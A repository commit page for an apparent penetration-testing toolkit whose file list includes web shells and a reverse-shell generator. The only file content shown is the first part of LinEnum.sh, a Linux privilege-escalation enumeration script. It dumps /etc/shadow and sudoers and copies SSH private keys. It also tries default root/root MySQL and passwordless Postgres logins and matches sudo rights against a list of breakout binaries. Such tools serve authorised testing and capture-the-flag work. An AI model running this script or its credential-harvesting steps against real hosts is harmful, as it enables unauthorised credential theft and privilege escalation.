Browse Source

Initial Commit

Roman Hergenreder 4 years ago
commit
a0476d4c17
13 changed files with 5243 additions and 0 deletions
  1. 1340 0
      LinEnum.sh
  2. 25 0
      first_scan.sh
  3. 61 0
      genRevShell.py
  4. 16 0
      gobuster.sh
  5. 24 0
      linpeas.sh
  6. 1109 0
      lse.sh
  7. 460 0
      p0wny-shell.php
  8. 189 0
      php-reverse-shell.php
  9. BIN
      pspy64
  10. 87 0
      ssh-check-username.py
  11. 1086 0
      unix-privesc-check.sh
  12. 42 0
      upload_file.py
  13. 804 0
      uptux.py

+ 1340 - 0
LinEnum.sh

@@ -0,0 +1,1340 @@
+#!/bin/bash
+#A script to enumerate local information from a Linux host
+version="version 0.98"
+#@rebootuser
+
+#help function
+usage () 
+{ 
+echo -e "\n\e[00;31m#########################################################\e[00m" 
+echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m"
+echo -e "\e[00;31m#########################################################\e[00m"
+echo -e "\e[00;33m# www.rebootuser.com | @rebootuser \e[00m"
+echo -e "\e[00;33m# $version\e[00m\n"
+echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n"
+
+		echo "OPTIONS:"
+		echo "-k	Enter keyword"
+		echo "-e	Enter export location"
+		echo "-s 	Supply user password for sudo checks (INSECURE)"
+		echo "-t	Include thorough (lengthy) tests"
+		echo "-r	Enter report name" 
+		echo "-h	Displays this help text"
+		echo -e "\n"
+		echo "Running with no options = limited scans/no output file"
+		
+echo -e "\e[00;31m#########################################################\e[00m"		
+}
+header()
+{
+echo -e "\n\e[00;31m#########################################################\e[00m" 
+echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" 
+echo -e "\e[00;31m#########################################################\e[00m" 
+echo -e "\e[00;33m# www.rebootuser.com\e[00m" 
+echo -e "\e[00;33m# $version\e[00m\n" 
+
+}
+
+debug_info()
+{
+echo "[-] Debug Info" 
+
+if [ "$keyword" ]; then 
+	echo "[+] Searching for the keyword $keyword in conf, php, ini and log files" 
+fi
+
+if [ "$report" ]; then 
+	echo "[+] Report name = $report" 
+fi
+
+if [ "$export" ]; then 
+	echo "[+] Export location = $export" 
+fi
+
+if [ "$thorough" ]; then 
+	echo "[+] Thorough tests = Enabled" 
+else 
+	echo -e "\e[00;33m[+] Thorough tests = Disabled\e[00m" 
+fi
+
+sleep 2
+
+if [ "$export" ]; then
+  mkdir $export 2>/dev/null
+  format=$export/LinEnum-export-`date +"%d-%m-%y"`
+  mkdir $format 2>/dev/null
+fi
+
+if [ "$sudopass" ]; then 
+  echo -e "\e[00;35m[+] Please enter password - INSECURE - really only for CTF use!\e[00m"
+  read -s userpassword
+  echo 
+fi
+
+who=`whoami` 2>/dev/null 
+echo -e "\n" 
+
+echo -e "\e[00;33mScan started at:"; date 
+echo -e "\e[00m\n" 
+}
+
+# useful binaries (thanks to https://gtfobins.github.io/)
+binarylist='aria2c\|arp\|ash\|awk\|base64\|bash\|busybox\|cat\|chmod\|chown\|cp\|csh\|curl\|cut\|dash\|date\|dd\|diff\|dmsetup\|docker\|ed\|emacs\|env\|expand\|expect\|file\|find\|flock\|fmt\|fold\|ftp\|gawk\|gdb\|gimp\|git\|grep\|head\|ht\|iftop\|ionice\|ip$\|irb\|jjs\|jq\|jrunscript\|ksh\|ld.so\|ldconfig\|less\|logsave\|lua\|make\|man\|mawk\|more\|mv\|mysql\|nano\|nawk\|nc\|netcat\|nice\|nl\|nmap\|node\|od\|openssl\|perl\|pg\|php\|pic\|pico\|python\|readelf\|rlwrap\|rpm\|rpmquery\|rsync\|ruby\|run-parts\|rvim\|scp\|script\|sed\|setarch\|sftp\|sh\|shuf\|socat\|sort\|sqlite3\|ssh$\|start-stop-daemon\|stdbuf\|strace\|systemctl\|tail\|tar\|taskset\|tclsh\|tee\|telnet\|tftp\|time\|timeout\|ul\|unexpand\|uniq\|unshare\|vi\|vim\|watch\|wget\|wish\|xargs\|xxd\|zip\|zsh'
+
+system_info()
+{
+echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" 
+
+#basic kernel info
+unameinfo=`uname -a 2>/dev/null`
+if [ "$unameinfo" ]; then
+  echo -e "\e[00;31m[-] Kernel information:\e[00m\n$unameinfo" 
+  echo -e "\n" 
+fi
+
+procver=`cat /proc/version 2>/dev/null`
+if [ "$procver" ]; then
+  echo -e "\e[00;31m[-] Kernel information (continued):\e[00m\n$procver" 
+  echo -e "\n" 
+fi
+
+#search all *-release files for version info
+release=`cat /etc/*-release 2>/dev/null`
+if [ "$release" ]; then
+  echo -e "\e[00;31m[-] Specific release information:\e[00m\n$release" 
+  echo -e "\n" 
+fi
+
+#target hostname info
+hostnamed=`hostname 2>/dev/null`
+if [ "$hostnamed" ]; then
+  echo -e "\e[00;31m[-] Hostname:\e[00m\n$hostnamed" 
+  echo -e "\n" 
+fi
+}
+
+user_info()
+{
+echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" 
+
+#current user details
+currusr=`id 2>/dev/null`
+if [ "$currusr" ]; then
+  echo -e "\e[00;31m[-] Current user/group info:\e[00m\n$currusr" 
+  echo -e "\n"
+fi
+
+#last logged on user information
+lastlogedonusrs=`lastlog 2>/dev/null |grep -v "Never" 2>/dev/null`
+if [ "$lastlogedonusrs" ]; then
+  echo -e "\e[00;31m[-] Users that have previously logged onto the system:\e[00m\n$lastlogedonusrs" 
+  echo -e "\n" 
+fi
+
+#who else is logged on
+loggedonusrs=`w 2>/dev/null`
+if [ "$loggedonusrs" ]; then
+  echo -e "\e[00;31m[-] Who else is logged on:\e[00m\n$loggedonusrs" 
+  echo -e "\n"
+fi
+
+#lists all id's and respective group(s)
+grpinfo=`for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null`
+if [ "$grpinfo" ]; then
+  echo -e "\e[00;31m[-] Group memberships:\e[00m\n$grpinfo"
+  echo -e "\n"
+fi
+
+#added by phackt - look for adm group (thanks patrick)
+adm_users=$(echo -e "$grpinfo" | grep "(adm)")
+if [[ ! -z $adm_users ]];
+  then
+    echo -e "\e[00;31m[-] It looks like we have some admin users:\e[00m\n$adm_users"
+    echo -e "\n"
+fi
+
+#checks to see if any hashes are stored in /etc/passwd (depreciated  *nix storage method)
+hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null`
+if [ "$hashesinpasswd" ]; then
+  echo -e "\e[00;33m[+] It looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" 
+  echo -e "\n"
+fi
+
+#contents of /etc/passwd
+readpasswd=`cat /etc/passwd 2>/dev/null`
+if [ "$readpasswd" ]; then
+  echo -e "\e[00;31m[-] Contents of /etc/passwd:\e[00m\n$readpasswd" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$readpasswd" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/passwd $format/etc-export/passwd 2>/dev/null
+fi
+
+#checks to see if the shadow file can be read
+readshadow=`cat /etc/shadow 2>/dev/null`
+if [ "$readshadow" ]; then
+  echo -e "\e[00;33m[+] We can read the shadow file!\e[00m\n$readshadow" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$readshadow" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/shadow $format/etc-export/shadow 2>/dev/null
+fi
+
+#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant
+readmasterpasswd=`cat /etc/master.passwd 2>/dev/null`
+if [ "$readmasterpasswd" ]; then
+  echo -e "\e[00;33m[+] We can read the master.passwd file!\e[00m\n$readmasterpasswd" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$readmasterpasswd" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null
+fi
+
+#all root accounts (uid 0)
+superman=`grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null`
+if [ "$superman" ]; then
+  echo -e "\e[00;31m[-] Super user account(s):\e[00m\n$superman"
+  echo -e "\n"
+fi
+
+#pull out vital sudoers info
+sudoers=`grep -v -e '^$' /etc/sudoers 2>/dev/null |grep -v "#" 2>/dev/null`
+if [ "$sudoers" ]; then
+  echo -e "\e[00;31m[-] Sudoers configuration (condensed):\e[00m$sudoers"
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$sudoers" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null
+fi
+
+#can we sudo without supplying a password
+sudoperms=`echo '' | sudo -S -l -k 2>/dev/null`
+if [ "$sudoperms" ]; then
+  echo -e "\e[00;33m[+] We can sudo without supplying a password!\e[00m\n$sudoperms" 
+  echo -e "\n"
+fi
+
+#check sudo perms - authenticated
+if [ "$sudopass" ]; then
+    if [ "$sudoperms" ]; then
+      :
+    else
+      sudoauth=`echo $userpassword | sudo -S -l -k 2>/dev/null`
+      if [ "$sudoauth" ]; then
+        echo -e "\e[00;33m[+] We can sudo when supplying a password!\e[00m\n$sudoauth" 
+        echo -e "\n"
+      fi
+    fi
+fi
+
+##known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values) - authenticated
+if [ "$sudopass" ]; then
+    if [ "$sudoperms" ]; then
+      :
+    else
+      sudopermscheck=`echo $userpassword | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null|sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
+      if [ "$sudopermscheck" ]; then
+        echo -e "\e[00;33m[-] Possible sudo pwnage!\e[00m\n$sudopermscheck" 
+        echo -e "\n"
+      fi
+    fi
+fi
+
+#known 'good' breakout binaries (cleaned to parse /etc/sudoers for comma separated values)
+sudopwnage=`echo '' | sudo -S -l -k 2>/dev/null | xargs -n 1 2>/dev/null | sed 's/,*$//g' 2>/dev/null | grep -w $binarylist 2>/dev/null`
+if [ "$sudopwnage" ]; then
+  echo -e "\e[00;33m[+] Possible sudo pwnage!\e[00m\n$sudopwnage" 
+  echo -e "\n"
+fi
+
+#who has sudoed in the past
+whohasbeensudo=`find /home -name .sudo_as_admin_successful 2>/dev/null`
+if [ "$whohasbeensudo" ]; then
+  echo -e "\e[00;31m[-] Accounts that have recently used sudo:\e[00m\n$whohasbeensudo" 
+  echo -e "\n"
+fi
+
+#checks to see if roots home directory is accessible
+rthmdir=`ls -ahl /root/ 2>/dev/null`
+if [ "$rthmdir" ]; then
+  echo -e "\e[00;33m[+] We can read root's home directory!\e[00m\n$rthmdir" 
+  echo -e "\n"
+fi
+
+#displays /home directory permissions - check if any are lax
+homedirperms=`ls -ahl /home/ 2>/dev/null`
+if [ "$homedirperms" ]; then
+  echo -e "\e[00;31m[-] Are permissions on /home directories lax:\e[00m\n$homedirperms" 
+  echo -e "\n"
+fi
+
+#looks for files we can write to that don't belong to us
+if [ "$thorough" = "1" ]; then
+  grfilesall=`find / -writable ! -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
+  if [ "$grfilesall" ]; then
+    echo -e "\e[00;31m[-] Files not owned by user but writable by group:\e[00m\n$grfilesall" 
+    echo -e "\n"
+  fi
+fi
+
+#looks for files that belong to us
+if [ "$thorough" = "1" ]; then
+  ourfilesall=`find / -user \`whoami\` -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
+  if [ "$ourfilesall" ]; then
+    echo -e "\e[00;31m[-] Files owned by our user:\e[00m\n$ourfilesall"
+    echo -e "\n"
+  fi
+fi
+
+#looks for hidden files
+if [ "$thorough" = "1" ]; then
+  hiddenfiles=`find / -name ".*" -type f ! -path "/proc/*" ! -path "/sys/*" -exec ls -al {} \; 2>/dev/null`
+  if [ "$hiddenfiles" ]; then
+    echo -e "\e[00;31m[-] Hidden files:\e[00m\n$hiddenfiles"
+    echo -e "\n"
+  fi
+fi
+
+#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch
+if [ "$thorough" = "1" ]; then
+wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null`
+	if [ "$wrfileshm" ]; then
+		echo -e "\e[00;31m[-] World-readable files within /home:\e[00m\n$wrfileshm" 
+		echo -e "\n"
+	fi
+fi
+
+if [ "$thorough" = "1" ]; then
+	if [ "$export" ] && [ "$wrfileshm" ]; then
+		mkdir $format/wr-files/ 2>/dev/null
+		for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null
+	fi
+fi
+
+#lists current user's home directory contents
+if [ "$thorough" = "1" ]; then
+homedircontents=`ls -ahl ~ 2>/dev/null`
+	if [ "$homedircontents" ] ; then
+		echo -e "\e[00;31m[-] Home directory contents:\e[00m\n$homedircontents" 
+		echo -e "\n" 
+	fi
+fi
+
+#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch
+if [ "$thorough" = "1" ]; then
+sshfiles=`find / \( -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" \) -exec ls -la {} 2>/dev/null \;`
+	if [ "$sshfiles" ]; then
+		echo -e "\e[00;31m[-] SSH keys/host information found in the following locations:\e[00m\n$sshfiles" 
+		echo -e "\n"
+	fi
+fi
+
+if [ "$thorough" = "1" ]; then
+	if [ "$export" ] && [ "$sshfiles" ]; then
+		mkdir $format/ssh-files/ 2>/dev/null
+		for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null
+	fi
+fi
+
+#is root permitted to login via ssh
+sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print  $2}'`
+if [ "$sshrootlogin" = "yes" ]; then
+  echo -e "\e[00;31m[-] Root is allowed to login via SSH:\e[00m" ; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" 
+  echo -e "\n"
+fi
+}
+
+environmental_info()
+{
+echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" 
+
+#env information
+envinfo=`env 2>/dev/null | grep -v 'LS_COLORS' 2>/dev/null`
+if [ "$envinfo" ]; then
+  echo -e "\e[00;31m[-] Environment information:\e[00m\n$envinfo" 
+  echo -e "\n"
+fi
+
+#check if selinux is enabled
+sestatus=`sestatus 2>/dev/null`
+if [ "$sestatus" ]; then
+  echo -e "\e[00;31m[-] SELinux seems to be present:\e[00m\n$sestatus"
+  echo -e "\n"
+fi
+
+#phackt
+
+#current path configuration
+pathinfo=`echo $PATH 2>/dev/null`
+if [ "$pathinfo" ]; then
+  echo -e "\e[00;31m[-] Path information:\e[00m\n$pathinfo" 
+  echo -e "\n"
+fi
+
+#lists available shells
+shellinfo=`cat /etc/shells 2>/dev/null`
+if [ "$shellinfo" ]; then
+  echo -e "\e[00;31m[-] Available shells:\e[00m\n$shellinfo" 
+  echo -e "\n"
+fi
+
+#current umask value with both octal and symbolic output
+umaskvalue=`umask -S 2>/dev/null & umask 2>/dev/null`
+if [ "$umaskvalue" ]; then
+  echo -e "\e[00;31m[-] Current umask value:\e[00m\n$umaskvalue" 
+  echo -e "\n"
+fi
+
+#umask value as in /etc/login.defs
+umaskdef=`grep -i "^UMASK" /etc/login.defs 2>/dev/null`
+if [ "$umaskdef" ]; then
+  echo -e "\e[00;31m[-] umask value as specified in /etc/login.defs:\e[00m\n$umaskdef" 
+  echo -e "\n"
+fi
+
+#password policy information as stored in /etc/login.defs
+logindefs=`grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs 2>/dev/null`
+if [ "$logindefs" ]; then
+  echo -e "\e[00;31m[-] Password and storage information:\e[00m\n$logindefs" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$logindefs" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null
+fi
+}
+
+job_info()
+{
+echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" 
+
+#are there any cron jobs configured
+cronjobs=`ls -la /etc/cron* 2>/dev/null`
+if [ "$cronjobs" ]; then
+  echo -e "\e[00;31m[-] Cron jobs:\e[00m\n$cronjobs" 
+  echo -e "\n"
+fi
+
+#can we manipulate these jobs in any way
+cronjobwwperms=`find /etc/cron* -perm -0002 -type f -exec ls -la {} \; -exec cat {} 2>/dev/null \;`
+if [ "$cronjobwwperms" ]; then
+  echo -e "\e[00;33m[+] World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" 
+  echo -e "\n"
+fi
+
+#contab contents
+crontabvalue=`cat /etc/crontab 2>/dev/null`
+if [ "$crontabvalue" ]; then
+  echo -e "\e[00;31m[-] Crontab contents:\e[00m\n$crontabvalue" 
+  echo -e "\n"
+fi
+
+crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null`
+if [ "$crontabvar" ]; then
+  echo -e "\e[00;31m[-] Anything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" 
+  echo -e "\n"
+fi
+
+anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null`
+if [ "$anacronjobs" ]; then
+  echo -e "\e[00;31m[-] Anacron jobs and associated file permissions:\e[00m\n$anacronjobs" 
+  echo -e "\n"
+fi
+
+anacrontab=`ls -la /var/spool/anacron 2>/dev/null`
+if [ "$anacrontab" ]; then
+  echo -e "\e[00;31m[-] When were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" 
+  echo -e "\n"
+fi
+
+#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command)
+cronother=`cut -d ":" -f 1 /etc/passwd | xargs -n1 crontab -l -u 2>/dev/null`
+if [ "$cronother" ]; then
+  echo -e "\e[00;31m[-] Jobs held by all users:\e[00m\n$cronother" 
+  echo -e "\n"
+fi
+
+# list systemd timers
+if [ "$thorough" = "1" ]; then
+  # include inactive timers in thorough mode
+  systemdtimers="$(systemctl list-timers --all 2>/dev/null)"
+  info=""
+else
+  systemdtimers="$(systemctl list-timers 2>/dev/null |head -n -1 2>/dev/null)"
+  # replace the info in the output with a hint towards thorough mode
+  info="\e[2mEnable thorough tests to see inactive timers\e[00m"
+fi
+if [ "$systemdtimers" ]; then
+  echo -e "\e[00;31m[-] Systemd timers:\e[00m\n$systemdtimers\n$info"
+  echo -e "\n"
+fi
+
+}
+
+networking_info()
+{
+echo -e "\e[00;33m### NETWORKING  ##########################################\e[00m" 
+
+#nic information
+nicinfo=`/sbin/ifconfig -a 2>/dev/null`
+if [ "$nicinfo" ]; then
+  echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfo" 
+  echo -e "\n"
+fi
+
+#nic information (using ip)
+nicinfoip=`/sbin/ip a 2>/dev/null`
+if [ ! "$nicinfo" ] && [ "$nicinfoip" ]; then
+  echo -e "\e[00;31m[-] Network and IP info:\e[00m\n$nicinfoip" 
+  echo -e "\n"
+fi
+
+arpinfo=`arp -a 2>/dev/null`
+if [ "$arpinfo" ]; then
+  echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfo" 
+  echo -e "\n"
+fi
+
+arpinfoip=`ip n 2>/dev/null`
+if [ ! "$arpinfo" ] && [ "$arpinfoip" ]; then
+  echo -e "\e[00;31m[-] ARP history:\e[00m\n$arpinfoip" 
+  echo -e "\n"
+fi
+
+#dns settings
+nsinfo=`grep "nameserver" /etc/resolv.conf 2>/dev/null`
+if [ "$nsinfo" ]; then
+  echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfo" 
+  echo -e "\n"
+fi
+
+nsinfosysd=`systemd-resolve --status 2>/dev/null`
+if [ "$nsinfosysd" ]; then
+  echo -e "\e[00;31m[-] Nameserver(s):\e[00m\n$nsinfosysd" 
+  echo -e "\n"
+fi
+
+#default route configuration
+defroute=`route 2>/dev/null | grep default`
+if [ "$defroute" ]; then
+  echo -e "\e[00;31m[-] Default route:\e[00m\n$defroute" 
+  echo -e "\n"
+fi
+
+#default route configuration
+defrouteip=`ip r 2>/dev/null | grep default`
+if [ ! "$defroute" ] && [ "$defrouteip" ]; then
+  echo -e "\e[00;31m[-] Default route:\e[00m\n$defrouteip" 
+  echo -e "\n"
+fi
+
+#listening TCP
+tcpservs=`netstat -ntpl 2>/dev/null`
+if [ "$tcpservs" ]; then
+  echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservs" 
+  echo -e "\n"
+fi
+
+tcpservsip=`ss -t -l -n 2>/dev/null`
+if [ ! "$tcpservs" ] && [ "$tcpservsip" ]; then
+  echo -e "\e[00;31m[-] Listening TCP:\e[00m\n$tcpservsip" 
+  echo -e "\n"
+fi
+
+#listening UDP
+udpservs=`netstat -nupl 2>/dev/null`
+if [ "$udpservs" ]; then
+  echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservs" 
+  echo -e "\n"
+fi
+
+udpservsip=`ss -u -l -n 2>/dev/null`
+if [ ! "$udpservs" ] && [ "$udpservsip" ]; then
+  echo -e "\e[00;31m[-] Listening UDP:\e[00m\n$udpservsip" 
+  echo -e "\n"
+fi
+}
+
+services_info()
+{
+echo -e "\e[00;33m### SERVICES #############################################\e[00m" 
+
+#running processes
+psaux=`ps aux 2>/dev/null`
+if [ "$psaux" ]; then
+  echo -e "\e[00;31m[-] Running processes:\e[00m\n$psaux" 
+  echo -e "\n"
+fi
+
+#lookup process binary path and permissisons
+procperm=`ps aux 2>/dev/null | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null`
+if [ "$procperm" ]; then
+  echo -e "\e[00;31m[-] Process binaries and associated permissions (from above list):\e[00m\n$procperm" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$procperm" ]; then
+procpermbase=`ps aux 2>/dev/null | awk '{print $11}' | xargs -r ls 2>/dev/null | awk '!x[$0]++' 2>/dev/null`
+  mkdir $format/ps-export/ 2>/dev/null
+  for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null
+fi
+
+#anything 'useful' in inetd.conf
+inetdread=`cat /etc/inetd.conf 2>/dev/null`
+if [ "$inetdread" ]; then
+  echo -e "\e[00;31m[-] Contents of /etc/inetd.conf:\e[00m\n$inetdread" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$inetdread" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null
+fi
+
+#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each
+inetdbinperms=`awk '{print $7}' /etc/inetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null`
+if [ "$inetdbinperms" ]; then
+  echo -e "\e[00;31m[-] The related inetd binary permissions:\e[00m\n$inetdbinperms" 
+  echo -e "\n"
+fi
+
+xinetdread=`cat /etc/xinetd.conf 2>/dev/null`
+if [ "$xinetdread" ]; then
+  echo -e "\e[00;31m[-] Contents of /etc/xinetd.conf:\e[00m\n$xinetdread" 
+  echo -e "\n"
+fi
+
+if [ "$export" ] && [ "$xinetdread" ]; then
+  mkdir $format/etc-export/ 2>/dev/null
+  cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null
+fi
+
+xinetdincd=`grep "/etc/xinetd.d" /etc/xinetd.conf 2>/dev/null`
+if [ "$xinetdincd" ]; then
+  echo -e "\e[00;31m[-] /etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m"; ls -la /etc/xinetd.d 2>/dev/null 
+  echo -e "\n"
+fi
+
+#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each
+xinetdbinperms=`awk '{print $7}' /etc/xinetd.conf 2>/dev/null |xargs -r ls -la 2>/dev/null`
+if [ "$xinetdbinperms" ]; then
+  echo -e "\e[00;31m[-] The related xinetd binary permissions:\e[00m\n$xinetdbinperms" 
+  echo -e "\n"
+fi
+
+initdread=`ls -la /etc/init.d 2>/dev/null`
+if [ "$initdread" ]; then
+  echo -e "\e[00;31m[-] /etc/init.d/ binary permissions:\e[00m\n$initdread" 
+  echo -e "\n"
+fi
+
+#init.d files NOT belonging to root!
+initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
+if [ "$initdperms" ]; then
+  echo -e "\e[00;31m[-] /etc/init.d/ files not belonging to root:\e[00m\n$initdperms" 
+  echo -e "\n"
+fi
+
+rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null`
+if [ "$rcdread" ]; then
+  echo -e "\e[00;31m[-] /etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" 
+  echo -e "\n"
+fi
+
+#init.d files NOT belonging to root!
+rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
+if [ "$rcdperms" ]; then
+  echo -e "\e[00;31m[-] /etc/rc.d/init.d files not belonging to root:\e[00m\n$rcdperms" 
+  echo -e "\n"
+fi
+
+usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null`
+if [ "$usrrcdread" ]; then
+  echo -e "\e[00;31m[-] /usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" 
+  echo -e "\n"
+fi
+
+#rc.d files NOT belonging to root!
+usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
+if [ "$usrrcdperms" ]; then
+  echo -e "\e[00;31m[-] /usr/local/etc/rc.d files not belonging to root:\e[00m\n$usrrcdperms" 
+  echo -e "\n"
+fi
+
+initread=`ls -la /etc/init/ 2>/dev/null`
+if [ "$initread" ]; then
+  echo -e "\e[00;31m[-] /etc/init/ config file permissions:\e[00m\n$initread"
+  echo -e "\n"
+fi
+
+# upstart scripts not belonging to root
+initperms=`find /etc/init \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
+if [ "$initperms" ]; then
+   echo -e "\e[00;31m[-] /etc/init/ config files not belonging to root:\e[00m\n$initperms"
+   echo -e "\n"
+fi
+
+systemdread=`ls -lthR /lib/systemd/ 2>/dev/null`
+if [ "$systemdread" ]; then
+  echo -e "\e[00;31m[-] /lib/systemd/* config file permissions:\e[00m\n$systemdread"
+  echo -e "\n"
+fi
+
+# systemd files not belonging to root
+systemdperms=`find /lib/systemd/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null`
+if [ "$systemdperms" ]; then
+   echo -e "\e[00;33m[+] /lib/systemd/* config files not belonging to root:\e[00m\n$systemdperms"
+   echo -e "\n"
+fi
+}
+
+software_configs()
+{
+echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" 
+
+#sudo version - check to see if there are any known vulnerabilities with this
+sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null`
+if [ "$sudover" ]; then
+  echo -e "\e[00;31m[-] Sudo version:\e[00m\n$sudover" 
+  echo -e "\n"
+fi
+
+#mysql details - if installed
+mysqlver=`mysql --version 2>/dev/null`
+if [ "$mysqlver" ]; then
+  echo -e "\e[00;31m[-] MYSQL version:\e[00m\n$mysqlver" 
+  echo -e "\n"
+fi
+
+#checks to see if root/root will get us a connection
+mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null`
+if [ "$mysqlconnect" ]; then
+  echo -e "\e[00;33m[+] We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" 
+  echo -e "\n"
+fi
+
+#mysql version details
+mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null`
+if [ "$mysqlconnectnopass" ]; then
+  echo -e "\e[00;33m[+] We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" 
+  echo -e "\n"
+fi
+
+#postgres details - if installed
+postgver=`psql -V 2>/dev/null`
+if [ "$postgver" ]; then
+  echo -e "\e[00;31m[-] Postgres version:\e[00m\n$postgver" 
+  echo -e "\n"
+fi
+
+#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this
+postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version`
+if [ "$postcon1" ]; then
+  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" 
+  echo -e "\n"
+fi
+
+postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version`
+if [ "$postcon11" ]; then
+  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" 
+  echo -e "\n"
+fi
+
+postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version`
+if [ "$postcon2" ]; then
+  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" 
+  echo -e "\n"
+fi
+
+postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version`
+if [ "$postcon22" ]; then
+  echo -e "\e[00;33m[+] We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" 
+  echo -e "\n"
+fi
+
+#apache details - if installed
+apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null`
+if [ "$apachever" ]; then
+  echo -e "\e[00;31m[-] Apache version:\e[00m\n$apachever" 
+  echo -e "\n"
+fi
+
+#what account is apache running under
+apacheusr=`grep -i 'user\|group' /etc/apache2/envvars 2>/dev/null |awk '{sub(/.*\export /,"")}1' 2>/dev/null`
+if [ "$apacheusr" ]; then
+  echo -e "\e[00;31m[-] Apache user configuration:\e[00m\n$apacheusr" 
